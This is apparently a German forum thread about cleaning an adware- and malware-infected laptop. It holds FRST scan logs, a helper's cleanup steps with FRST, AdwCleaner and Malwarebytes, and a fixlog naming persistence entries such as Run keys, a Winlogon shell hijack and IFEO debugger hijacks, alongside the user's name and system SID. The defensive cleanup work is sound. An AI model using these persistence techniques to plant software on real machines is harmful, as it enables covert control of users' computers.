FirewallRules: [{EF947C32-1D81-4E83-A695-A9EC9219A3B3}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
FirewallRules: [TCP Query User{653CFC91-4BAB-4C40-9B9E-01CC50B98589}C:\program files (x86)\ubisoft\far cry 4\bin\farcry4.exe] => (Block) C:\program files (x86)\ubisoft\far cry 4\bin\farcry4.exe
FirewallRules: [UDP Query User{B0BC62AE-48DE-42C7-8668-5DD556C0A6B7}C:\program files (x86)\ubisoft\far cry 4\bin\farcry4.exe] => (Block) C:\program files (x86)\ubisoft\far cry 4\bin\farcry4.exe
FirewallRules: [{58DF4819-F2AA-4B93-A157-40849EF94D29}] => (Allow) C:\Windows\system32\rundll32.exe
FirewallRules: [{CBE7A874-9528-4366-AF1B-A0E916028D13}] => (Allow) C:\Users\Nick Schuster\AppData\Local\Chromium\Application\chrome.exe
FirewallRules: [{1BBF6F32-C108-4369-941D-843982F303E5}] => (Allow) C:\Users\Nick Schuster\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.122-1.0.1976.exe
FirewallRules: [{02B3354A-24E5-4248-8037-D10EC7114CDA}] => (Allow) C:\Users\Nick Schuster\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.122-1.0.1976.exe
FirewallRules: [{ACFC7F43-1E24-4A37-BB80-4D2F71DFD6AC}] => (Allow) C:\Users\Nick Schuster\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.122-1.0.1976.exe
FirewallRules: [{F3EB4D70-44AB-440F-99BE-EC17A5897398}] => (Allow) C:\Users\Nick Schuster\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.122-1.0.1976.exe
FirewallRules: [{A3408888-D09A-47E4-AC38-D0F7F8F347D3}] => (Allow) C:\Program Files (x86)\MIO\loader\hgstxhts721010a9e630_jr10206p1v048m1v048mx.dat
FirewallRules: [{54CC17EB-AE90-4BB9-8A39-D37C3E50D836}] => (Allow) C:\Program Files (x86)\MIO\loader\hgstxhts721010a9e630_jr10206p1v048m1v048mx.dat
FirewallRules: [{33955FCC-97B4-465B-9229-AD6D73EAB1BE}] => (Allow) C:\Program Files (x86)\Applemy\Application\chrome.exe
FirewallRules: [{2C27DBA5-D9A5-4D9B-80D2-3B9661ED9A62}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
FirewallRules: [{BB1CF779-C524-42C1-A743-1CB20B08A776}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe
FirewallRules: [{196D459B-065E-4C43-B5EE-C2CC1E695E7D}] => (Allow) C:\Games\World_of_Tanks\WoTLauncher.exe
FirewallRules: [{3A92A8FE-FCEB-4D7E-80F0-A01A04153F43}] => (Allow) C:\Games\World_of_Tanks\WoTLauncher.exe
FirewallRules: [{89ADB8E5-F4F0-4742-9645-488983FC8305}] => (Allow) C:\Games\World_of_Tanks\worldoftanks.exe
FirewallRules: [{89C45FD5-138C-4396-9FE4-D2DD77FA8B3B}] => (Allow) C:\Games\World_of_Tanks\worldoftanks.exe
FirewallRules: [{FEEE5642-D6D5-4948-BA55-60DFADB5A8F1}] => (Allow) C:\Windows\System32\rundll32.exe
FirewallRules: [{1BD71208-FB0F-4AD8-822C-931C6B404E36}] => (Allow) C:\Windows\System32\rundll32.exe

==================== Wiederherstellungspunkte =========================

28-05-2017 11:43:38 Windows Update
28-05-2017 20:39:08 DirectX wurde installiert
30-05-2017 14:03:51 Removed Samsung Kies
31-05-2017 17:31:09 Removed Vegas Pro 13.0 (64-bit)
01-06-2017 21:49:48 Installed NetAdapterUpdate

==================== Fehlerhafte Ger鋞e im Ger鋞emanager =============

Name:
Description:
Class Guid:
Manufacturer:
Service:
Problem: : The drivers for this device are not installed. (Code 28)
Resolution: To install the drivers for this device, click "Update Driver", which starts the Hardware Update wizard.

Name: USB2.0-CRW
Description: USB2.0-CRW
Class Guid:
Manufacturer:
Service:
Problem: : The drivers for this device are not installed. (Code 28)
Resolution: To install the drivers for this device, click "Update Driver", which starts the Hardware Update wizard.


==================== Fehlereintr鋑e in der Ereignisanzeige: =========================

Applikationsfehler:
==================
Error: (06/05/2017 10:10:37 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/05/2017 10:10:31 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/05/2017 10:10:31 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/05/2017 10:10:31 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0x2ac
Startzeit der fehlerhaften Anwendung: 0x01d2ddd3335f8f65
Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe
Pfad des fehlerhaften Moduls: C:\Program Files\WindowsApps\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\msvcr120_app.dll
Berichtskennung: 710e7cdb-49c6-11e7-8421-0071c2420bd3
Vollst鋘diger Name des fehlerhaften Pakets: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: ppleae38af2e007f4358a809ac99a64a67c1

Error: (06/05/2017 10:10:26 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0x9e8
Startzeit der fehlerhaften Anwendung: 0x01d2ddd3306276e0
Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe
Pfad des fehlerhaften Moduls: C:\Program Files\WindowsApps\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\msvcr120_app.dll
Berichtskennung: 6e11652d-49c6-11e7-8421-0071c2420bd3
Vollst鋘diger Name des fehlerhaften Pakets: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: ppleae38af2e007f4358a809ac99a64a67c1

Error: (06/05/2017 10:10:25 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0xe90
Startzeit der fehlerhaften Anwendung: 0x01d2ddd32fca7917
Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe
Pfad des fehlerhaften Moduls: C:\Program Files\WindowsApps\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\msvcr120_app.dll
Berichtskennung: 6d7ff507-49c6-11e7-8421-0071c2420bd3
Vollst鋘diger Name des fehlerhaften Pakets: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: ppleae38af2e007f4358a809ac99a64a67c1

Error: (06/05/2017 10:09:29 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/05/2017 10:09:29 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/05/2017 10:09:29 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/05/2017 10:09:25 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0xe98
Startzeit der fehlerhaften Anwendung: 0x01d2ddd30c280235
Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe
Pfad des fehlerhaften Moduls: C:\Program Files\WindowsApps\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\msvcr120_app.dll
Berichtskennung: 49d6f117-49c6-11e7-8421-0071c2420bd3
Vollst鋘diger Name des fehlerhaften Pakets: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: ppleae38af2e007f4358a809ac99a64a67c1


Systemfehler:
=============
Error: (06/05/2017 10:10:48 AM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "Google Update-Dienst (gupdate)" wurde aufgrund folgenden Fehlers nicht gestartet:
Das System kann die angegebene Datei nicht finden.

Error: (06/05/2017 10:10:32 AM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 10:10:27 AM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 10:10:26 AM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 10:09:27 AM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 10:09:25 AM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 10:09:24 AM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 10:09:13 AM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "App.AppX2tphb21dp9jkkycchwvscnrxk12cys3z.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/05/2017 10:09:11 AM) (Source: DCOM) (EventID: 10016) (User: RAZERLAP)
Description: Durch die Berechtigungseinstellungen f黵 "Anwendungsspezifisch" wird dem Benutzer "RAZERLAP\Nick Schuster" (SID: S-1-5-21-3847841184-804715454-2304624315-1001) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Start" f黵 die COM-Serveranwendung mit der CLSID
{7022A3B3-D004-4F52-AF11-E9E987FEE25F}
 und der APPID
{ADA41B3C-C6FD-4A08-8CC1-D6EFDE67BE7D}
 im Anwendungscontainer "Nicht verf黦bar" (SID: Nicht verf黦bar) gew鋒rt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool f黵 Komponentendienste ge鋘dert werden.

Error: (06/05/2017 10:08:35 AM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: Der Dienst "Microsoft Cache Service" wurde mit folgendem Fehler beendet:
Das System kann die angegebene Datei nicht finden.


CodeIntegrity:
===================================
  Date: 2017-05-03 18:07:17.434
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 18:06:29.117
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 17:37:01.065
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 17:37:00.358
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 17:24:33.560
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 15:20:35.981
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 16:06:23.178
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 14:48:35.444
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 14:48:35.282
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 14:48:35.275
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.


==================== Speicherinformationen ===========================

Prozessor: Intel(R) Core(TM) i5-5200U CPU @ 2.20GHz
Prozentuale Nutzung des RAM: 42%
Installierter physikalischer RAM: 4014.84 MB
Verf黦barer physikalischer RAM: 2290.85 MB
Summe virtueller Speicher: 4718.84 MB
Verf黦barer virtueller Speicher: 3056.02 MB

==================== Laufwerke ================================

Drive c: (NexusLap) (Fixed) (Total:869.8 GB) (Free:750.58 GB) NTFS
Drive d: (Recover) (Fixed) (Total:60 GB) (Free:42.31 GB) NTFS

==================== MBR & Partitionstabelle ==================

========================================================
Disk: 0 (Size: 931.5 GB) (Disk ID: B8E472D2)

Partition: GPT.

==================== Ende von Addition.txt ============================

M-K-D-B 05.06.2017 13:22
Servus



Zitat:
(...) aber ich kann den tdss.killer immer noch nicht starten.
Ich wei. Die Schadsoftware blockiert so gut wie alle Sicherheitssoftware. ;)

Dein Rechner hat so viel Adware, das ist deutschlandweit bestimmt ein Spitzenplatz... :D







Schritt 1
  • Im Anhang meines Posts findest du die Datei fixlist.txt. Speichere diese Datei im selben Verzeichnis, indem sich die FRST.exe befindet.
  • Starte die FRST.exe erneut.
  • Klicke auf den Button Entfernen.
  • Der Entfernungsprozess startet, dein Rechner ben鰐igt am Ende einen Neustart.
  • Nach dem Neustart findest du eine Datei fixlog.txt im selben Verzeichnis, in der sich auch die FRST.exe befindet.
  • Poste mir den Inhalt dieser Datei mit deiner n鋍hsten Antwort.





Schritt 2
Downloade Dir bitte AdwCleaner auf deinen Desktop.
  • Schlie遝 alle offenen Programme und Browser.
  • Starte die adwcleaner.exe mit einem Doppelklick.
  • Stimme den Nutzungsbedingungen zu.
  • Klicke auf Werkzeuge > Optionen und vergewissere dich, dass die folgenden Punkte ausgew鋒lt sind:
    • Image File Execution Options Schl黶sel
    • "Tracing" Schl黶sel
    • "Prefetch" Dateien
    • Proxy
    • Winsock
    • Firewall
    • Internet Explorer Richtlinien
    • Chrome Richtlinien
    • Chrome Einstellungen
    • Hosts-Datei
  • Best鋞ige die Auswahl mit Ok.
  • Klicke auf Suchlauf und warte bis dieser abgeschlossen ist.
  • Klicke nun auf L鰏chen (auch dann wenn AdwCleaner sagt, dass nichts gefunden wurde) und best鋞ige auftretende Hinweise mit Ok.
  • Dein Rechner wird automatisch neu gestartet. Nach dem Neustart 鰂fnet sich eine Textdatei. Poste mir deren Inhalt mit deiner n鋍hsten Antwort.
  • Die Logdatei findest du auch unter C:\AdwCleaner\AdwCleaner[Cx].txt. (x = fortlaufende Nummer).





Schritt 3
Downloade Dir bitte Malwarebytes Anti-Malware 3
  • Installiere das Programm in den vorgegebenen Pfad.
  • Starte Malwarebytes' Anti-Malware (MBAM).
  • Klicke im Anschluss auf Scan, w鋒le den Bedrohungs-Scan aus und klicke auf Scan starten.
  • Lass am Ende des Suchlaufs alle Funde (falls vorhanden) in die Quarant鋘e verschieben. Klicke dazu auf Ausgew鋒lte Elemente in die Quarant鋘e verschieben.
  • Lass deinen Rechner ggf. neu starten, um die Bereinigung abzuschlie遝n.
  • Starte MBAM nach dem Neustart, klicke auf Berichte.
  • W鋒le den neuesten Scan-Bericht aus, klicke auf Bericht anzeigen und dann auf Export.
  • W鋒le Textdatei (.txt) aus und speichere die Datei als mbam.txt auf dem Desktop ab.
  • F黦e den Inhalt der mbam.txt mit deiner n鋍hsten Antwort hinzu.





Schritt 4
  • Starte die FRST erneut. Vergewissere dich, dass vor Addition.txt ein Haken gesetzt ist und dr點ke auf Untersuchen.
  • FRST erstellt nun zwei Logdateien (FRST.txt und Addition.txt).
  • Poste mir beide Logdateien mit deiner n鋍hsten Antwort.






Bitte poste mit deiner n鋍hsten Antwort
  • die Logdatei des FRST-Fix,
  • die Logdatei von AdwCleaner,
  • die Logdatei von MBAM,
  • die beiden neuen Logdateien von FRST.

NexsReloaded 05.06.2017 16:06
du schreibst ich soll die datei im selben verzeichniss wie die frst.exe speichern also w鋜 der desktop ja richtig?

Code:

Entferungsergebnis von Farbar Recovery Scan Tool (x64) Version: 02-06-2017
durchgef黨rt von Nick Schuster (05-06-2017 15:34:37) Run:1
Gestartet von C:\Users\Nick Schuster\Desktop\Neuer Ordner
Geladene Profile: Nick Schuster (Verf黦bare Profile: Nick Schuster)
Start-Modus: Normal
==============================================

fixlist Inhalt:
*****************
CloseProcesses:
HKLM\...\Run: [gplyra] => C:\Users\Nick Schuster\AppData\Roaming\gplyra\gplyra.exe [1555968 2017-04-24] () <===== ACHTUNG
C:\Users\Nick Schuster\AppData\Roaming\gplyra
HKLM-x32\...\Run: [KMS] => C:\Windows\kmsonboot\autoact.exe
C:\Windows\kmsonboot
HKLM\...\RunOnce: [RAZERLAP] => C:\Windows\TEMP\gB39B.tmp.exe [307200 2017-06-05] () <===== ACHTUNG
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\RunOnce: [windows] => C:\ProgramData\windows\windows.exe [1052256 2017-01-03] ()
C:\ProgramData\windows
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\MountPoints2: {3b90a8ba-330f-11e7-83e4-0071c2420bd3} - "F:\autorun.exe"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\MountPoints2: {e8e722cc-412b-11e7-840b-0071c2420bd3} - "F:\OriginInstaller.exe"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\Winlogon: [Shell] explorer.exe,"C:\Users\Nick Schuster\AppData\Roaming\avv.exe" <==== ACHTUNG
C:\Users\Nick Schuster\AppData\Roaming\avv.exe
HKU\S-1-5-18\...\Run: [sG4nE4Ad85qJ.exe] => C:\ProgramData\e9cf343f516c47a4a7255147ad1dcd13\sG4nE4Ad85qJ.exe [216576 2017-05-30] ()
C:\ProgramData\e9cf343f516c47a4a7255147ad1dcd13
HKLM\...\Providers\6ddy6fjk: C:\Program Files (x86)\Qizsywosale Core\local64spl.dll [306688 2017-03-17] ()
C:\Program Files (x86)\Qizsywosale Core
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
IFEO\rstrui.exe: [Debugger] rrtuy.exe
ShellExecuteHooks: Kein Name - {5EBD559E-A5BA-11E6-B9FD-64006A5CFC23} - C:\Users\Nick Schuster\AppData\Roaming\Phucusy\Pipothzo.dll -> Keine Datei
C:\Users\Nick Schuster\AppData\Roaming\Phucusy
ShellExecuteHooks: Kein Name - {9C829CE8-039A-11E7-8F7F-64006A5CFC23} - C:\Users\Nick Schuster\AppData\Roaming\Anerpe\Zoduly.dll -> Keine Datei
C:\Users\Nick Schuster\AppData\Roaming\Anerpe
ShellExecuteHooks: Kein Name - {234628B4-4048-11E7-9F2C-64006A5CFC23} - C:\Users\Nick Schuster\AppData\Roaming\Grerdaentlerveck\Thuvale.dll -> Keine Datei
C:\Users\Nick Schuster\AppData\Roaming\Grerdaentlerveck
ShellExecuteHooks: Kein Name - {A4CD8824-4049-11E7-9F11-64006A5CFC23} - C:\Users\Default\AppData\Roaming\Minerent\Wuteghtplejipy.dll [144896 2017-05-30] ()
C:\Users\Default\AppData\Roaming\Minerent
ShellIconOverlayIdentifiers: [ MEGA (Pending)] -> {056D528D-CE28-4194-9BA3-BA2E9197FF8C} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX64.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ MEGA (Synced)] -> {05B38830-F4E9-4329-978B-1DD28605D202} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX64.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ MEGA (Syncing)] -> {0596C850-7BDD-4C9D-AFDF-873BE6890637} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX64.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt1] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt10] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt2] -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt3] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt4] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt5] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt6] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt7] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt8] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt9] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} =>  -> Keine Datei
ShellIconOverlayIdentifiers: [KzShlobj] -> {AAA0C5B8-933F-4200-93AD-B143D7FFF9F2} =>  -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ MEGA (Pending)] -> {056D528D-CE28-4194-9BA3-BA2E9197FF8C} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX32.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ MEGA (Synced)] -> {05B38830-F4E9-4329-978B-1DD28605D202} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX32.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ MEGA (Syncing)] -> {0596C850-7BDD-4C9D-AFDF-873BE6890637} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX32.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt1] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt10] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt2] -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt3] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt4] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt5] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt6] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt7] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt8] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
